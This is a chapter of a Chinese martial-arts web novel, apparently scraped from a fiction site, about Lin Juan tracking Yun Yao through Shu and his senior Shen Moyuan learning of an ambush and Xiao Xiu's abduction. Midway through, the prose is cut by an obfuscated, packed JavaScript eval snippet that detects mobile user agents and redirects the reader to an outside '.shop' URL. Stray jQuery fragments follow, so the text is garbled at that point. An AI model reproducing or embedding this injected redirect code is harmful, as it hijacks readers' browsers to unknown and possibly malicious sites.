自那日林镌苏醒,已过了十日。
期间已经意识到碧落残卷落于魔门手中严重性的几人,在与张行拓商议过后,最终决定返回各自返回门派将此事交由掌门与诸位长老定夺。
之后伤势恢复得不错的祁双鲤同师妹君小池辞别了众人返回昆仑山,萧屿、陈子颂、萧岫领着那十余名弟子先行离去,岳兰萼与陆微白则陪着重伤未愈的林镌与沈墨原,等他们没有大碍之后再回门派复命。
这一日,天气晴好,惠风和煦。
沈墨原手持青锋,在柔和的阳光下舞着一套苍梧派的基础剑法,修长的身姿如雄鹰展翅,一招一式间都充斥着强韧。
自从古鸩沅当着师弟师妹们的面叮嘱他好生休养,短时间内最好不要妄动真气之后,岳兰萼就收走了他的佩剑,勒令他不得动武。
沈墨原虽然无奈,却也明白师妹也是一片好心,索性就真的修身养性的将近半月,如今解了禁令,便迫不及待地耍了一套完整了的剑法,真是憋得手脚都快僵硬了!
爽快的出了一身汗,沈墨原收了剑,转身便见自家古灵精怪的师弟凭栏半倚,身上披着一件宽松的外袍,青丝散落,一脸恹恹。
“怎么了?”沈墨原走过去摸了摸林镌的额头,“没发热啊,精神怎么这么差?”
林镌手掌捂在心口处,隔着衣裳感受着那源源不断的暖意,目光落在远方,道:“师兄,你带着兰萼和小白先回去吧,我在这里还有一些事情要办。”
沈墨原微微皱了皱眉:“蜀中目前很危险,何况,云姑娘不等你醒来便离开了,未必没有不想让你去找她的意思。”
“嗯,我知道。”林镌眸光微颤,“那个丫头,总是喜欢把什么都扛在自己身上,想尽办法为身边的人都安排好圆满的路,却唯独……当年离开的时候我便对自己发过誓,终此一生,我不会让自己再一次陷入完全为人左右的境地。放心吧师兄,我可没有找死的爱好,我只是,想要随心意而活。”
沈墨原在心底微微叹口气,将林镌的头发揉乱:“你啊,从来就极有主见,这次恐怕也只是知会我一声,对吧?”
林镌笑嘻嘻道:“师兄明白就好。”说着纵身一跃,瞬间已落到几丈开外的矮墙上。
沈墨原哭笑不得,这臭小子,逃得可真快!
二月初二,一/夜山雨摧折,花枝尤盛。
雅州虽比不得成都繁华,然而在花朝节这天却也是热闹非凡。
蜀中风气比之中原要豪放不少,未出阁的姑娘们三三两两相伴而行,拜花神、吃花酿、行花令,文人雅士烹茶煮酒、吟诗作画,更有江湖人打扮的青年男女两相携手、结伴同游。
青衫斗笠的少年人,穿梭于密集的人群之中,步履轻快如足下生风,却未触碰到任何人,故而也未引起旁人的注意。
少年七绕八拐,好容易穿过了熙熙攘攘的人群,最终停在了一座雕梁画栋的三层小楼前,白玉台阶、莲纹铺地,匾上三个鎏金飞白大字——灵宝阁。
少年抬头看了眼牌匾,抬步迈入大堂。
满室的珠宝玉器、琉璃珊瑚,流光华彩有些晃人眼睛,倒是十分贴合牌匾上的字。
掌柜是个着暗紫色底金线绣纹华服的青年男子,相貌倒是斯文儒雅,手指上却套着碧玉扳指,纯金的发冠上镶着桂圆大的圆润珍珠,看着就让人觉得一阵铜臭扑面而来。
掌柜见少年一身江湖中人打扮,面染风尘,身上也不像是带着金银细软的样子,却也是一团和气笑脸相迎,乐呵呵道:“这位侠士可是要置办什么物件?”一面说着一面迎着少年介绍店中各色珍宝,业务熟络,显然是习惯了做江湖人生意。
少年摘了斗笠,对着掌柜咧嘴一笑:“就内堂佛龛前供着那对儿沧海明珠吧!”
掌柜瞪着眼看着少年那张眼熟的脸,又是惊喜又是气愤,“林镌你个小混/蛋,我那‘七星连珠’被你玩废了五颗,你你你……都七年了你还惦记着那最后两颗!”
林镌撅了噘嘴,“珠子不就是用来滚着玩儿的嘛!”
“败家玩意儿!”掌柜一翻白眼扭头便走,完全不想理这个糟践珍宝的混/蛋。
林镌急忙拉着掌柜的袖子,腆着脸讨好道:“白大哥,我开玩笑的,那不是小时候不懂事嘛!”
白玉楼没好气道:“我看你现在也没好到哪儿去!”
“小弟在这里等白大哥消气。”林镌垂着头站直,做出一副幼时罚站乖乖受教的模样,手中却拽紧白玉楼的袖子,一点要松开的迹象都没有。
白玉楼又翻了个白眼,哼了一声道:“一个杳丫头的踪迹就能让你到我这儿来这般装乖卖傻,真是出息!”
林镌倏地抬头,眸子发亮地看着他:“所有白大哥确实知道杳杳在哪儿咯?”
果真是装模作样!白玉楼睨了他一眼,又颇有些头疼:“小杳下了命令,不得与任何人透露她的行踪,这个‘任何人’代指你林镌。”
林镌眨眨眼:“那白大哥告诉我杳杳她没去哪个方向不就行了。”
白玉楼扶额叹口气,道:“没去西边、北边。”
“东南方向?”林镌想了想道,“鬼冢!她果然去了嘉州百鬼窟,魔门势力暂时还无法大规模渗入蜀中,要先解决内务才是。”
白玉楼转身进了内堂,嘴里絮絮叨叨:“我可什么都没说……”
“下回请你喝酒!”林镌急匆匆与白玉楼告了别,便又覆上斗笠钻入密集的人群,眨眼间便已不见了踪迹。
白玉楼笑骂道:“小混/蛋,都不知欠了我多少顿酒了。”
却说那日林镌与沈墨原透露出想要留在蜀中的意愿后,第二天便不见了踪影,只留下了一封信,写了些“不告而别着实惶恐”、“定会好好保重自己”、“改日再负荆请罪”云云,惹得沈墨原哭笑不得,岳兰萼与陆微白更是好一顿白眼,更是在心底大骂林镌不讲义气。
沈墨原揉了揉额角,道:“这小子何必不告而别,我又不会拦他。”
要拦也拦不住吧!岳兰萼腹诽,面上却是一阵同仇敌忾:“就是,阿镌这家伙实在是太过分了,不跟我们一起回去就算了,不告而别算怎么回事?”
陆微白点头附和,末了还补了一句:“太过分了!”
沈墨原赏了他们一人一个暴栗,道:“行了,你们两个也别装模作样了,乖乖跟我回湘中,如今蜀中形势不明不宜逗留,况且今年的“芝兰会”是由我派与云梦庄一同主办,你们两个说什么也不能缺席!”
“唉,芝兰会什么的……”想着就头疼。
岳兰萼看着把自己和小师弟看得牢牢的师兄,不禁感叹:真是风水轮流转!几天前还是自己管着师兄,想不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746050|209288||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
到如今却……唉!
距离沈墨原三人离开青城山已有两日,虽说蜀中不太安定,可耐不住有两个添乱的家伙,一路上管管闲事,三人整整两日才行至资州。
沈墨原倒是十分能理解师弟妹们不想参加芝兰会的心情,不过这次是师门协同梦泽庄主办,已经跑了一个,剩下的两个就算再不情愿他也得把他们压回去。
看着唉声叹气的师妹和一向面无表情如今却眼露哀戚的小师弟,沈墨原终于忍无可忍,怒道:“不就是要与那群纨绔打交道么?一个两个,做出这副要死不活的样子!”
岳兰萼大义凛然道:“师兄,派我去朔北魔门探查敌情吧!”
陆微白点头附和,一双眼睛挣得溜圆,眼珠在阳光下看泛着一圈蓝,可怜兮兮道:“我去滇南。”
沈墨原忽觉手痒,咬牙道:“我都给你们挡了三年了,今年无论如何也要你们自己上!”
“师兄~”岳兰萼拽着沈墨原的袖子泪眼汪汪,陆微白也悄悄挪过来拽袖子,依旧没有表情的脸上竟也泛着泪光。
沈墨原有些心软:“不然等回去了让师父想想办法,不过三月之前必须得回去。”
岳兰萼收了眼泪嫣然一笑:“谢谢师兄,师兄最好了。”接着小声嘀咕了一句,“阿镌给的红花油可真有用。”陆微白点头表示赞同。
沈墨原再也忍不下去,又是一人一个暴栗:“不知道要什么都跟那个小混/蛋学!”
可惜天有不测风云,沈墨原最终还是没能如计划中顺利带着师弟师妹回到门派。
那日清晨,沈墨原三人一番休整,正准备离开资州,忽地收到门派密信。
岳兰萼拿起那封印着梧桐与祥云暗纹的信封看了许久才递给沈墨原,道:“是真的,朱明峰的记号。”
朱明峰乃是苍梧派其中一脉,首座是沈墨原等人的师伯、陈子颂的师父戚长松。
沈墨原拆开封蜡抖开信纸,不一会儿脸色大变。
“出什么事了?”陆微白问道,“谁来的信?”
“陈师弟的,”沈墨原沉声道,“他们在渝州遇到了埋伏,外门弟子半数遇害,萧师兄重伤昏迷,阿岫,被抓走了。”
“知道是谁干的么?”陆微白少有表情的脸上罕见地显露出愤怒。
沈墨原道:“陈师弟在信上说,那伙人自称来自‘冥昭堂’,还说,还说‘想要回萧岫,让云杳亲自去’!”
“明……照?什么玩意儿?”岳兰萼疑惑道,“让云姑娘亲自去,这明什么堂是冲着什幽城来的?可他们捉阿岫做什么?”
“不知道,现在也没时间探究这个了。”沈墨原揉着额头,“你们两个,到渝州与陈师弟会合,我去找阿镌,无论如何,先找到云姑娘再说。”
岳兰萼咬了咬牙,陆微白握了握拳,最终都没有开口,沈墨原的武功比他们好太多,对方既然留了萧屿与陈子颂的性命,便不会再回过头来对付他们,那些人摆明了要对付云杳,沈墨原此去定是危险重重。
事关萧岫性命,岳陆二人都知道此时不是任性的时候,告辞了师兄便策马向渝州方向而去。
沈墨原看着远去的师弟师妹,从袖子里掏出一节紫竹口笛,叹口气,也不知道这横看竖看都极为普通的口笛要怎么作为联络什幽城暗桩的信物,不管了,先去城里的当铺看看再说吧。